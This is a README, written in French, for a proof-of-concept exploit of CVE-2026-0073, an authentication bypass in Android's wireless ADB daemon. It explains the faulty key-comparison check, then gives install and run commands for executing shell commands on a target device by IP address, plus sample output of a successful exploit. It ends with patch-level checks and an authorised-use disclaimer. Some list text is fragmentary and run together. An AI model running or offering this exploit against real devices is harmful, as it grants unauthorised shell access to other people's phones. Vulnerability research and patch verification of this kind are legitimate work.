
CVE-2026-0073 - Preuve de concept de contournement de l'authentification mutuelle ADB sans fil
Ce répertoire contient une preuve de concept en Python pour CVE-2026-0073.
Le script est généré à l'aide de techniques de génération de code assistées par IA.
CVE-2026-0073 est un problème logique dans la vérification des certificats du démon ADB (adbd_tls_verify_cert dans auth.cpp).
Le contrôle vulnérable traite toute valeur non nulle retournée par EVP_PKEY_cmp(...) comme une correspondance réussie.
La gestion attendue du résultat de comparaison devrait être :
1 = les clés correspondent0 = les clés ne correspondent pasDans les versions vulnérables, les valeurs négatives sont traitées comme vraies et peuvent marquer incorrectement un certificat comme autorisé.
poc-cve-2026-0073.pyLe script :
ec ou ed25519).shell: avec repli sur exec:).cryptographyInstaller la dépendance :
pip install cryptography
Découvrir le service ADB cible (si nécessaire) :
adb mdns services
Exécuter le PoC :
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Arguments :
target_ip : Adresse IP de l'appareil Android cibleport : Port ADB (par défaut : 5555)command : Commande à exécuter (par défaut : id)key_type : ec ou ed25519 (par défaut : ec)--verbose : Activer les journaux de débogage du protocoleExemples :
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Ouverture du service : 'shell:id'
[*] Après OPEN, reçu : OKAY arg0=2 data=b''
[+] Flux ouvert (local_id=1, remote_id=2)
[+] Sortie de la commande :
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation réussie.
Connection refused
certificate_unknown
Délai d'attente dépassé pour les réponses
--verbose pour des traces au niveau des paquets.Le niveau de correctif de sécurité de base du système d'exploitation et le correctif des modules Mainline peuvent différer. Un appareil peut afficher un SPL mensuel plus ancien tout en recevant des correctifs plus récents du module ADB.
Vérifications utiles :
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Utilisez ce PoC uniquement dans des environnements autorisés (appareils de laboratoire possédés, autorisation explicite ou tests sanctionnés). Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test.
daemon/auth.cpp)